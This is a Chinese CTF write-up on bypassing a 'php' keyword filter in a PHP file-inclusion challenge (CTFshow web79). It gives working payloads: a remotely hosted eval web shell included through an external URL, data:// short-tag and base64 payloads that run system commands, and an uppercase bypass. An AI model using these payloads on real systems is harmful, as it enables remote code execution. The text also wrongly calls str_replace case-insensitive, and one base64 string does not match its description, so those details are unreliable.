0 前言
在上一篇文章,我们尝试 5 种协议来实现文件包含。但在 web79 中,代码使用 str_replace
函数将字符串中的 php
替换成 ???
,所以我们要尽可能的避免使用关键字 php
。
1 file:// 或 不使用协议
方法同 php文件包含-CTFshow-web78
。
2 http://
在上一篇文章中,使用的链接为 https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval.php
,在链接的尾部含有 php 关键字,无法直接使用。
- 我使用和 eval.php 相同的代码,创建
eval
文件。
<?php @eval($_GET[code]);echo PHP_DATADIR;?>
- 上传到 cos,获得链接
https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval
。 - 访问
view-source:http://0a64af68-10fc-462f-b88e-44dc7e1f000d.challenge.ctf.show:8080/?file=https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval&code=system('cat flag.php');
即可获得 flag。
3 php://
该协议必须使用 php 开头,题目又过滤了 php 关键字,所以无法使用。
将 web78 中的 php
改成 PHP
即可。
Note: str_replace 对大小写不敏感
4 zlib://
同 file://
协议
5 data://
这里有 2 种关键的思路。一是利用特殊的 PHP 语言标记,二是利用编码绕过。
5.1 特殊的 PHP 语言标记
常见的 PHP 语言标记有如下几种:
<?php phpinfo() ?>
:如果只含有 PHP 代码,?>
不允许存在。?>
隐含一个;
,所以最后一句可以不用分号。<script language=“php”>phpinfo()<script>
。<? ?>
:需要修改 PHP 的short_open_tag
配置<% %>
:默认禁用。<?=$variablename ?>
:默认可用。<%=$variablename %>
:默认禁用。
这里需要可以利用 <? ?>
这个语言标记。访问 http://0a64af68-10fc-462f-b88e-44dc7e1f000d.challenge.ctf.show:8080/?file=data:text/plain,<?=system('tac *')?>
即可获得 flag。
Note: 这里的
tac *
的作用是查看当前文件夹的所有文件(不查看子目录的),在 CTF 中还是比较实用的。可以根据自己的需求进行变形,比如tac /*
。
5.2 编码绕过
- 将
<?php system('tac *');
进行 base64 编码,得到字符串
PD9waHAgc3lzdGVtKG5sIGZsYWcucGhwKTs=
- 访问链接
http://6a01dd29-9ab6-43c0-abff-c81cfdb70225.challenge.ctf.show:8080/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw==
即可获得 flag。
Note:有时候 flag 在源码中,多查看源码。
6 总结
我在思考第 5 步的时候,想到了可能可以利用大小写来进行绕过。通过查询官方文档,发现 str_replace 对大小写不敏感。
当 PHP
这个关键词可用之后,那么 web78 的所有方法都可以使用,只需要将小写的 php
替换成大写的 PHP
。